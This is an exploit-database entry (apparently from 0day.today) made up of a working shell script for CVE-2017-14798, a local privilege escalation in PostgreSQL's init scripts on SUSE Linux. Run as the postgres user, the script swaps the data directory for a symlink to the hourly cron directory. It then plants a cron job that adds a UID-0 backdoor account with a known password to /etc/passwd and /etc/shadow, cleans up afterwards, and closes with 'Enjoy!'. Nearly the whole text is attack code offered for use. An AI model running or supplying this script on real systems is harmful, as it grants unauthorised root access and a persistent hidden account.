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PostgreSQL 9.4-0.5.3 - Privilege Escalation Exploit
Author
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[Security Risk High
]0day-ID
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# Exploit Title: PostgreSQL 9.4-0.5.3 - Privilege Escalation
# Exploit Author: Johannes Segitz
# Vendor Homepage: https://bugzilla.suse.com/show_bug.cgi?id=1062722
# Software Link: -
# Version: Before postgresql-init-9.4-0.5.3.1
# Tested on: SUSE Linux Enterprise 11 SP4
# CVE : CVE-2017-14798
#!/bin/sh
# don't use spaces or other funny characters in here
CRON_DIR='/etc/cron.hourly'
CRON_FILE="$CRON_DIR/totally_not_a_lpe"
declare -a CLEANUP_ELEMENTS=('base' 'global' 'pg_clog' 'pg_hba.conf' 'pg_ident.conf' 'pg_multixact' 'pg_subtrans' 'pg_tblspc' 'pg_twophase' 'PG_VERSION' 'pg_xlog' 'postgresql.conf')
if [ "$(whoami)" != "postgres" ]; then
echo "Must be run as user postgres"
exit -1
fi
cd
echo setting up exploit
mv data data2
ln -s $CRON_DIR data
echo waiting for DB restart
while [ ! -w $CRON_DIR ]; do
sleep 1
done
echo able to write $CRON_DIR
echo '#!/bin/sh' > $CRON_FILE
echo 'echo '"'"'pg_root:x:0:0:,,,:/home/pg_root:/bin/bash'"'"' >> /etc/passwd' >> $CRON_FILE
echo 'echo '"'"'pg_root:$2y$05$6F6hHGfvZ42Mq1EF8V.e8uguGumaZsZ4P9qfjiuHFT/k8B2CZrJaO:16339:0:99999:7:::'"'"' >> /etc/shadow' >> $CRON_FILE
echo "rm $CRON_FILE" >> $CRON_FILE
echo "chown root.root ${CRON_DIR}" >> $CRON_FILE
chmod +x $CRON_FILE
if [ -e $CRON_FILE ]; then
echo wrote $CRON_FILE
else
echo failed to write $CRON_FILE, exiting
exit 1
fi
echo cleaning up
for i in "${CLEANUP_ELEMENTS[@]}"; do
rm -rf "$CRON_DIR/$i"
done
rm data
mv data2 data
echo now wait, depending on CRON_DIR setting you should be able to log into this system with pg_root:foobar soonish. Enjoy!
# 0day.today [2024-12-24] #